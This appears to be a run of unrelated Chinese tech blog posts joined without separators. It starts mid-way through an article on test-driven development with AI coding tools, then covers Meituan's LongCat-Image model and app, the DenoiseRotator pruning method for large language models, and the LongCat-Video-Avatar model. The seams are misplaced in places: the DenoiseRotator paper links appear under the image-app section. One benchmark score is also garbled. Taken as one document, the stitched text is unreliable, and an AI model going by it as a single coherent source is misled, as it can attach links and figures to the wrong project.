- **独立性**: 测试之间不应该有依赖关系
- **可重复性**: 测试结果应该是确定的和可重复的
- **清晰命名**: 测试方法名应明确表达测试意图

### 3.3. 代码质量保证
- **持续重构**: 在每个循环的 REFACTOR 阶段改进代码
- **消除重复**: 遵循 DRY（Don't Repeat Yourself）原则
- **保持简洁**: 代码应该简洁明了，易于理解

### 3.4. 流程控制
Agent 在每个阶段转换时，必须：
1. 明确声明即将进入的阶段
2. 说明当前阶段的具体目标
3. 完成阶段后验证结果
4. 确认是否继续下一个循环

5.2 掌握单测语法

AI擅长基础用例覆盖，但复杂业务场景、边界条件仍有可能需要开发者手动编写。不要完全依赖AI构造用例。

5.3 选择合适场景与策略

快速决策法则：

• 简单功能：单个方法，逻辑直观，采用“先实现，后验证”；
• 复杂业务逻辑：多分支判断、算法计算、状态转换，采用TDD“先验证，后实现”；
• 存量代码修改：采用“安全网保护”策略；
• 提示词难以描述需求时：测试用例是最好的需求文档，采用TDD让代码直接表达需求。

5.4 持续维护

单元测试必须与业务代码演进保持同步。一个过时的、无人维护的测试集，其价值会迅速归零，甚至成为负资产。

六、结语

如今，单元测试已被赋予全新的意义——它不再被视为一种“开发负担”，而是进化成为AI Coding时代的“质量引擎”。

我们构建起三重关键保障：

• 策略一：以客观检验替代主观判断，让AI代码告别“看起来没问题”的错觉；
• 策略二：为存量代码筑起防护墙，使修改存量代码安全可控，降低演进风险；
• 策略三：用测试作为与AI的沟通语言，精准传递复杂需求与预期。

更深层次的变化在于，我们正在重新定义开发者的核心价值：当我们从“思考提示词”转向“思考测试用例”，本质上是从AI代码被动的审查者，转变为了主动的需求设计者与质量掌控者。这不仅加速开发进程，更显著提升代码质量。这正是AI时代中，开发者与智能工具协同进化的优秀范式。

当前 AI 图像生成技术需求旺盛，但行业陷入 “两难困境”：闭源大模型性能强劲但无法自行部署或二次定制开发，开源方案普遍存在轻量化与模型性能难以兼顾、面向商用专项能力不足的痛点，制约商业创作与技术普惠。为此，美团 LongCat 团队正式发布并开源 LongCat-Image 模型，通过高性能模型架构设计、系统性的训练策略和数据工程，以6B参数规模，成功在文生图和图像编辑的核心能力维度上逼近更大尺寸模型效果，为开发者社区与产业界提供了 “高性能、低门槛、全开放” 的全新选择。

技术亮点

LongCat-Image 采用文生图与图像编辑同源的架构设计，并结合渐进式学习策略，在仅 6B 的紧凑参数规模下，实现了指令遵循精准度、生图质量与文字渲染能力的高效协同提升。尤其在单图编辑的可控性和文字生成的汉字覆盖度方面独具优势。

亮点一：图像编辑高度可控

LongCat-Image 在图像编辑领域的多个重要基准测试中（如GEdit-Bench、ImgEdit-Bench）均达到开源SOTA水平，实现性能突破的背后在于一套紧密协同的训练范式和数据策略。为有效继承文生图模型的知识和美感，同时避免文生图后训练阶段收窄的状态空间对编辑指令多样性的限制，基于文生图Mid-training阶段模型进行初始化，并采用指令编辑与文生图多任务联合学习机制，深化对复杂多样化指令的理解。此外通过预训练阶段的多源数据及指令改写策略，以及SFT阶段引入人工精标数据，最终实现了指令遵循精准度、泛化性和编辑前后视觉一致性的共同提升。

亮点二：中文文字生成精准覆盖

针对中文文本渲染这一行业痛点，LongCat-Image 通过课程学习策略来提升字符覆盖度和渲染精准度：预训练阶段基于千万量级合成数据学习字形，覆盖通用规范汉字表的8105个汉字；SFT 阶段引入真实世界文本图像数据，提升在字体、排版布局上的泛化能力；RL 阶段融入 OCR 与美学双奖励模型，进一步提升文本准确性与背景融合自然度。此外通过对 prompt 中指定渲染的文本采用字符级编码，大幅降低模型记忆负担，实现文字生成学习效率的跨越式提升。通过该项能力加持，有效支持海报设计、商业广告作图场景中复杂笔画结构汉字的渲染，以及古诗词插图、对联、门店招牌、文字Logo等设计场景的生僻字渲染。

此外，LongCat-Image通过系统性的数据筛选与对抗训练框架，实现了出图纹理细节和真实感的提升。预训练和中期训练阶段严格过滤AIGC数据，避免陷入“塑料感”纹理的局部最优；在SFT阶段，所有数据均经过人工精筛来对齐大众审美；在RL阶段，创新性地引入AIGC内容检测器作为奖励模型，利用其对抗信号逆向引导模型学习真实世界的物理纹理、光影和质感。

性能验证

客观基准评测

全面的客观基准测试充分验证了 LongCat-Image 的核心竞争力：图像编辑任务中，ImgEdit-Bench（4.50分）、 GEdit-Bench 中英文得分（7.⁶⁰⁄₇.64分）分别达到开源SOTA水平，且逼近头部闭源模型水平；文字渲染方面，ChineseWord 评测以 90.7 分的成绩大幅领先所有参评模型，实现常用字、生僻字的全量精准覆盖；文生图任务上，GenEval 0.87 分、DPG-Bench 86.8 分的表现，使其在生图基础能力上相比头部开源与闭源模型依然具备强竞争力。

综合主观评测

在衡量模型的通用能力时，我们始终将用户的真实体验放在首位。为此，我们采用业界公认的主观评价方法，对LongCat-Image在“文生图”与“图像编辑”两大核心场景下的表现进行了系统评估。

在文生图方面采用大规模的人工主观评分（MOS）方法，核心覆盖 文本-图像对齐、视觉合理度、视觉真实度、美学质量4个维度，LongCat-Image 的真实度相比主流开闭源模型表现出色，同时在文本-图像对齐与合理度上也达到开源SOTA水平。在图像编辑方面采用严格的并列对比评估（Side-by-Side, SBS）方法，聚焦于综合编辑质量、视觉一致性这两个用户体验的维度，评测结果表明，LongCat-Image 虽然与 Nano Banana、Seedream 4.0 等商业模型存在一定差距，但显著超越了其他开源方案。

开源开放

为了构建一个更透明、开放、协作的开源生态系统，我们全面开源文生图的多阶段模型（Mid-training、Post-training）和图像编辑模型，旨在无缝支持从前沿研究到商业应用的全流程。我们坚信，真正的技术进步源于社区的集体智慧。诚邀广大开发者体验模型、参与共建，让我们共同基于这个高效能模型，探索视觉生成的更多可能。

🔗 资源链接：

| Hugging Face: https://huggingface.co/meituan-longcat/LongCat-Image

| GitHub: https://github.com/meituan-longcat/LongCat-Image

零门槛解锁 AI 创作新可能

LongCat APP：一键生成专业级图像

继文生图功能上线后，「LongCat APP」全新升级图生图能力！上传任意素材（风景照、自拍照、草稿线稿均可），模型将精准捕捉核心元素，按需求生成全新图像。同步上线 24 个零门槛图片玩法模板，涵盖海报设计、人像精修、场景改造等多重场景，点击 “AI 创作” 直接套用，彻底告别 “提示词焦虑”，小白也能快速产出专业级作品。

LongCat.ai：网页端高效创作入口

进入https://longcat.ai/点击「图片生成」，可上传参考图、自由调整比例、选择心仪风格，无需复杂配置即可快速获得高质量生成结果。无论是商业设计初稿、社交媒体素材，还是个性化创意创作，都能高效完成。

扫描下方二维码即可体验 Web 端及下载 LongCat APP 安卓版本（iOS 用户可直接在 APP Store 中搜索“LongCat”）

快翻出相册里压箱底的素材，即刻使用 LongCat-Image 解锁图片创作的无限可能～

美团 LongCat 全新上线 AI 生图功能，该功能基于 LongCat 系列模型「LongCat-Image」打造而成。不仅在文生图任务中实现了“快、真、准” ：出图快速响应、达到摄影棚拍摄质感、中文渲染精准度高；更在图像编辑任务上做到了精准便捷，无需复杂指令，可以用自然语言对图像进行二次编辑。无论是追求高效出图的普通用户，还是需要精准落地创意的专业创作者，LongCat 都以 “轻量化模型 + 流畅体验” ，让 AI 生图真正成为人人可用的创作工具。

目前，AI 生图功能已在 LongCat APP 和 https://longcat.ai/ 同步上线，轻松解锁高效创作新方式。

LongCat · AI 生图「三大功能亮点 」

亮点一：图像生成 + 编辑一体化，创意落地无断点

从 “文字生成图片” 到 “用嘴改图” 一步到位，帮你轻松拿捏专业创作：

• 简单提示词也能高效出图：基于深度优化语义理解能力，简单提示词也能生成效果高度契合画面、布局、氛围及内容，在保障质量的前提下大幅提升创作效率。
• 全场景编辑无断点：支持物体增删、风格迁移、视角转换、人像精修、文本修改等 15 类细分任务，无论是简单的背景替换，还是复杂的多轮复合指令，均能精准执行。
• 多轮编辑不丢质感：修改后画面和原图风格、光影保持一致，不会出现 “拼接感”，人像编辑保留面部特征，多轮编辑画面不跑偏。

亮点二：中文文字生成超能打，生僻字也不翻车

中文文字生成能力优异，生僻字生成也不在话下：

• 字符渲染优异：店铺牌匾、海报标题、书籍封面等场景的中文文字，无错字、漏字、字体扭曲，多行排版、段落文本均能精准渲染
• 生僻字高覆盖率：非常见字、异体字、书法字体（楷体、行书）准确率较高，适配传统文化、专业领域等特殊创作需求
• 智能排版：自动匹配场景调整文字大小、颜色、行距，如古风文案搭配书法字体，科技主题适配现代无衬线字体，无需手动调整

亮点三：快速生成摄影棚级质感画面

• 快速响应不等待：轻量化技术优化让单张高清图高效生成，效率较同类工具有一定提升，高频创作无需久候。
• 质感堪比棚拍实景：优化构图与光影美学，物体纹理、场景光影精准复刻真实世界，人物肢体、物体比例遵循物理规律，实现摄影棚拍质感。

强大功能背后的「技术底座」

LongCat-Image具备出色的跨语言图像编辑能力，通过共享 MM-DiT+Single-DiT 混合主干架构与VLM条件编码器，文生图与编辑能力相互辅助，继承文生图的出图质量并具备出色的指令遵循、一致性保持能力，在主流公开评测基准上达到第一梯队水平。文字生成专项能力上，覆盖全量通用规范汉字并在在商业海报、自然场景文字上都展现出极强的适用性。此外，通过精细化模型设计及多阶段训练策略优化，极大提升生成真实度、合理性并可支持消费级显卡高效推理。

用 LongCat 记录你的「灵感瞬间」吧！

LongCat APP 体验入口：在「LongCat APP」中，你可以：输入一句话，生成高质量图像，或对生成图像进行迭代编辑、多轮生成，快速响应。

LongCat Web 端入口：

您可以登录 https://longcat.ai/  ，体验高效的 AI 生图功能，或对生成图像进行多轮编辑。

更多玩法探索

• 论文原文：https://arxiv.org/abs/2505.23049
• 项目地址：https://github.com/Axel-gu/DenoiseRotator
• 视频解读（B 站）：https://www.bilibili.com/video/BV1XDUYBTEjr

在大语言模型（LLM）快速发展的今天，庞大的参数规模带来高昂的推理存储成本和回复时延，已成为实际应用中的关键挑战。特别是在面向人机对话的应用场景，模型推理效率直接影响到对话体验。在推理优化方法中，参数剪枝作为一项经典的模型压缩技术，旨在通过剔除模型中“不重要”的权重来实现参数量的显著降低与计算效率的提升。然而，传统的“剪枝-微调”范式或直接的后训练剪枝方法，往往带来明显的模型性能损失，特别是在硬件友好的半结构化稀疏（如 2:4 稀疏）场景下，该问题尤为突出。这使得应用中的模型效果和推理效率，呈现一个“鱼和熊掌”的两难局面。

面对这项挑战，美团 LongCat Interaction 团队联合上海交通大学听觉认知与计算声学实验室，以及香港科技大学的研究者，共同完成了大模型剪枝方法的创新研究，提出了名为 DenoiseRotator 的新技术。通过首先对参数矩阵进行变换，“浓缩”对结果有影响力的参数，再对重要性最低的参数进行剪枝，实现了大模型剪枝的新范式。DenoiseRotator 能够与现有的剪枝算法快速集成，有效缓解模型压缩带来的性能损失。这一研究成果已在 2025 年的 NeurIPS 会议上发表。

01 动机：传统剪枝的局限性——密集训练与稀疏推理的隐式冲突

传统后训练剪枝的一般流程可概括为：对一个已训练好的 稠密模型，基于某种启发式准则（如权重幅值或 Wanda、SparseGPT 等算法）为每个参数赋予“重要性分数”，随后根据预设的稀疏度阈值，移除分数较低的一部分权重。 尽管流程清晰，该方法存在一个本质局限：其整个剪枝过程建立在 固定不变的参数空间 上，本质上是一种 被动的筛选机制。这进一步凸显了以下深层冲突：

• 密集训练 的本质是隐式地激励模型 充分利用每一个参数。每个参数都承载了一定的知识或推理能力，并通过参数间的协同工作共同支撑模型的整体表达能力。

• 稀疏推理 则要求模型仅基于 被保留的部分参数 完成推理任务，并保持高性能。

这种训练目标与推理机制之间的内在不一致，意味着 直接裁剪必然会导致部分知识或推理能力的丢失，从而破坏原有参数间协同工作的平衡，引发性能下降。

02 技术方案：DenoiseRotator——从“被动筛选”到“主动优化”的范式转变

针对上述挑战，我们重新思考剪枝范式：能否在剪枝前先对模型进行 稀疏性引导的优化，使其 自身结构更易于被剪枝？基于此，我们提出了“重要性浓缩”的全新思路，并开发了 DenoiseRotator 框架予以实现。

2.1 核心思想：重要性浓缩

我们的核心目标是在执行剪枝 之前，将原本分散在众多参数上的重要性，尽可能地 集中到一个较小的参数子集中。这样，在后续剪枝过程中，被移除权重所包含的关键信息将大幅减少，从而显著增强剪枝的鲁棒性。
为量化并优化“浓缩”效果，我们引入了 信息熵 作为衡量指标。通过将参数重要性分数归一化为概率分布，其熵值直接反映了重要性的集中程度：熵越低，表明重要性越集中于少数参数。因此，我们的优化目标明确为 最小化归一化重要性分布的熵。

2.2 实现机制：可学习的正交变换

DenoiseRotator 通过向 Transformer 层中引入 可学习的正交矩阵，实现重要性分布的熵减与浓缩。

如上图所示，我们在 Transformer 层的特定位置（例如 Attention 模块的 Value 和 Output 投影层前后）插入正交矩阵。这些矩阵对原始权重进行“旋转”变换，在 保持模型输出完全不变（得益于正交变换的计算不变性）的前提下，重新分配参数的重要性。

2.3 关键优势

训练与剪枝解耦：DenoiseRotator 采用 模块化设计，正交矩阵的优化与具体剪枝方法完全独立。我们首先利用校准数据，以最小化重要性熵为目标训练这些正交矩阵；训练完成后，将其合并回原始权重。此时，我们获得了一个“易于剪枝”的优化版稠密模型，可 无缝对接 任何现有剪枝工具（如 SparseGPT、Wanda）进行后续操作。

优化过程稳定：正交变换具有保范数特性，确保在重新分布重要性时，既不会人为引入也不会丢失总重要性量，从而保证了优化过程的稳定性，不影响原始模型性能。

下图直观展示了 DenoiseRotator 的有效性。以 LLaMA-3-8B 模型首层输出投影层为例，经我们的方法变换后，参数重要性分布从分散趋于高度集中，为后续剪枝奠定了坚实基础。

03 实验验证

在前文中，我们介绍了 DenoiseRotator 的核心思想——通过重要性浓缩提升剪枝鲁棒性。那么，这一方法在实际效果上表现如何？我们针对多个主流开源大模型进行了全面评测，涵盖语言建模和零样本推理任务，并与现有剪枝方法进行了对比。

3.1 实验设置：覆盖多模型、多任务、多剪枝方法

为全面评估 DenoiseRotator 的有效性，我们在多样化的实验设置下进行了系统性验证。实验覆盖了从 Mistral-7B、LLaMA3（8B/70B）到 Qwen2.5（7B/14B/32B/72B）等多个主流开源大模型，评测任务包括语言建模（使用 WikiText-2 验证集的困惑度 PPL 作为指标）和零样本推理（在 PIQA、WinoGrande、HellaSwag、ARC-e 和 ARC-c 五个基准任务上评估平均准确率）。在基线方法方面，我们将 DenoiseRotator 与三类剪枝方法结合：经典方法 Magnitude，以及先进方法 Wanda 和 SparseGPT，并在非结构化（50%稀疏）和半结构化（2:4 稀疏）两种稀疏模式下进行对比评测。

3.2 主要结果：语言建模与零样本推理全面提升

下表展示了不同模型在剪枝前后的困惑度（衡量语言建模能力）与零样本任务表现。DenoiseRotator 在所有模型和稀疏模式下均显著降低剪枝造成的性能下降，尤其在 2:4 稀疏下提升更为明显。

3.3 深入分析：熵减如何驱动剪枝鲁棒性？

我们通过消融实验验证了 重要性熵与剪枝效果的直接关联。以 LLaMA3-8B 为例，记录不同训练步数下的熵值变化与模型性能：

熵减少 13%（步数 100）即可带来零样本任务准确率提升 3.66%（66.88%➡70.54%），困惑度降低 19.5%（9.567➡7.701）。进一步优化可继续降低困惑度，验证了 重要性集中度与剪枝鲁棒性的正相关。

3.4 部署效率：轻量开销，显著收益

• 参数增量：每层新增一个（hidden_size, hidden_size）正交矩阵。以 LLaMA3-8B 为例，总参数量增加约 0.5B（占原模型 6.7%）。通过分块对角矩阵（见论文附录）可进一步降低开销，适合资源受限场景。

• 推理耗时：单层 Transformer 的 2:4 稀疏计算耗时 4.37ms，加入正交矩阵后仅增加 0.32ms（1.24× 加速比 vs 稠密层）。

04 总结

DenoiseRotator 提出了一种创新的剪枝视角：将模型准备（重要性浓缩）与模型压缩（剪枝）两个阶段解耦。通过可学习的正交变换，主动实现参数重要性的浓缩，从而显著提升后续剪枝的鲁棒性。该方法具备 即插即用 的特性，为大规模语言模型的高效、高性能压缩提供了新的技术路径。

项目地址：https://github.com/Axel-gu/DenoiseRotator

希望跟大家一起学习交流。如果大家对这项工作感兴趣，欢迎在 GitHub 上 Star、Fork 并参与讨论！

今年 8 月，美团开源的 InfiniteTalk 项目凭借无限长度生成能力与精准的唇形、头部、表情及姿态同步表现，迅速成为语音驱动虚拟人领域的主流工具，吸引全球数万名开发者的使用。10月底，LongCat 团队开源了 LongCat-Video 视频生成模型，尤其在长视频生成领域具备显著优势。

在 InfiniteTalk 和 LongCat-Video 基座的良好基础上，LongCat 团队针对实际场景中的核心痛点持续优化，正式发布并开源 SOTA 级虚拟人视频生成模型 ——LongCat-Video-Avatar。该模型基于 LongCat-Video 基座打造，延续 “一个模型支持多任务” 的核心设计，原生支持 Audio-Text-to-Video（AT2V）、Audio-Text-Image-to-Video（ATI2V）及视频续写等核心功能，同时在底层架构上全面升级，实现动作拟真度、长视频稳定性与身份一致性三大维度的显著突破，为开发者提供更稳定、高效、实用的创作解决方案。

点击查看产品介绍视频

开源地址：

• GitHub：https://github.com/meituan-longcat/LongCat-Video
• Hugging Face：https://huggingface.co/meituan-longcat/LongCat-Video-Avatar
• Project：https://meigen-ai.github.io/LongCat-Video-Avatar/

一、技术亮点

1.1 开源 SOTA 拟真度：让虚拟人“活”起来

告别“僵硬”，迎接“鲜活”。还记得以前那些虚拟人吗？只有嘴巴在动，头和身体却像没通电，看起来既尴尬又不自然。全新的 LongCat-Video-Avatar 彻底改变了这一点。它像一位全能导演，不仅指挥嘴型，还同步指挥眼神、表情和肢体动作，实现丰富饱满的情感表达，让虚拟人真正“演”了起来。

点击查看效果对比

连“不说话”的时候，都很像人： 真人说话是有停顿和呼吸的。我们通过一种独特的训练方法 Disentangled Unconditional Guidance（解耦无条件引导），让模型明白了“静音”不等于“死机”。现在，哪怕是在说话的间歇，虚拟人也会像你我一样，自然地眨眼、调整坐姿、放松肩膀。

这种技术让 LongCat-Video-Avatar 成为首个同时支持文字、图片、视频三种生成模式的全能选手。从口型精准到全身生动，虚拟人从此有了真正的生命力。

1.2 长时序高质量生成：让视频“稳”下来

上一代 InfiniteTalk 在长视频生成中会出现视觉质量退化的现象，而VAE 的反复编解码是正是视觉质量退化的主要原因。现有方法通常将上一段生成结果解码为像素，再将末尾帧重新编码为潜变量，作为下一段的条件——这一“解码→再编码”循环会持续引入累积误差，导致色彩偏移与细节模糊。

点击查看效果对比

LongCat-Video-Avatar提出了Cross-Chunk Latent Stitching（跨片段隐空间拼接） 训练策略以根本性解决此问题。在训练阶段，我们从同一视频中采样两个连续且部分重叠的片段，在隐空间内直接进行特征替换，让模型学会在潜空间中无缝衔接上下文。在推理时，系统直接将前一段生成的 latent 序列末尾部分作为下一段的 context latent，全程无需解码到像素域。该设计不仅消除 VAE 循环带来的画质损失，还显著提升推理效率，并有效弥合训练与推理之间的流程差异（train-test gap）。实验显示，LongCat-Video-Avatar 在生成5分钟约 5000 帧视频时仍保持稳定色彩与清晰细节。

1.3 商用级一致性：精准锚定角色，让演绎生动自如

点击查看效果对比

为维持长视频中的身份（ID）一致性， InfiniteTalk 采用注入参考帧的方式，但有时会导致色彩偏移（color shift）或动作僵化（“复制-粘贴”效应）。LongCat-Video-Avatar 从以下两方面进行系统升级：

• 基座升级：视频基础模型迁移到 LongCat-Video，后者在大规模长视频预训练中具备了更强的身份保持与色彩一致性先验。
• 参考机制创新：我们引入了带位置编码的参考帧注入模式。推理时，用户可通过指定RoPE中的索引位置，灵活控制参考帧在生成块中的插入位置。更重要的是，我们设计了Reference Skip Attention机制，在参考帧相邻的时间步，屏蔽参考帧对注意力计算的直接影响，仅允许其提供身份语义先验，而不主导具体动作生成。这套机制在确保ID一致性的同时，有效抑制了动作的重复与僵化，使长视频既稳定又富有变化。

二、模型性能

2.1 客观基准评测

在 HDTF、CelebV-HQ 、EMTD 和 EvalTalker 等权威公开数据集上的定量评测表明，LongCat-Video-Avatar 在多项核心指标上达到SOTA领先水平。

在衡量唇音同步精度的 Sync-c/Sync-D指标上，LongCat-Video-Avatar 在各个数据集上均取得 SOTA 成绩；在一致性指标方面（FID、FVD、CSIM）也表现优异。

2.2 综合主观评测

为贴近真实用户体验，我们基于 EvalTalker 基准组织了大规模人工评测，从“自然度与真实感”维度对生成视频进行盲测打分（5分制）。

在涵盖商业推广、影视娱乐、新闻时事、日常生活和知识教育五大场景的单人对话测试中，LongCat-Video-Avatar 的综合评分领先于包括 InfiniteTalk、HeyGen、Kling Avatar 2.0 在内的众多主流开源与商业模型。

通过基于EvalTalker基准的严谨人工评测（共492名参与者），LongCat-Video-Avatar在多个细分维度获得显著正向反馈：

• 静音段表现：绝大多数评审者指出，LongCat-Video-Avatar 在静音段能保持如呼吸、眨眼等自然微动作；
• 长视频稳定性：在长序列生成中，相较 InfiniteTalk，该模型展现出更优的身份一致性与视觉连续性，有效缓解了长期存在的漂移问题；
• 动作多样性：得益于创新的参考帧机制，其生成的动作被普遍认为更为丰富、自然，避免了明显的重复或“复制-粘贴”效应；
• 语言表现：LongCat-Video-Avatar 在中文和英文语言中均优于所有对比方法，体现出稳健的跨语言性能和精准的音画同步效果；
• 应用场景表现：LongCat-Video-Avatar 在影视娱乐、日常生活和知识教育场景中表现最优，展现出在多样应用场景下的强泛化能力。

三、One More Thing，开源是为了更好的共创

LongCat-Video-Avatar 是我们继 InfiniteTalk 之后，在数字人生成方向上的持续迭代。我们关注开发者在长视频生成中遇到的实际问题——身份漂移、画面卡顿、静音段僵硬，并尝试从模型层面给出改进。

这次开源的不是一个“终极方案”，而是一个进化的、可用的技术基座。它们都基于真实反馈与长期实验，代码和模型均已开放。我们坚持开源，是因为相信工具的价值在迭代中产生，而迭代需要更多人的使用、验证与共建。如果你正在探索数字人相关应用，或对生成技术有想法，欢迎关注我们的项目，更欢迎留下你的反馈。

开源地址：

• GitHub：https://github.com/meituan-longcat/LongCat-Video
• Hugging Face：https://huggingface.co/meituan-longcat/LongCat-Video-Avatar
• Project：https://meigen-ai.github.io/LongCat-Video-Avatar/

现在，轮到你来创造“千人千面”的数字世界了。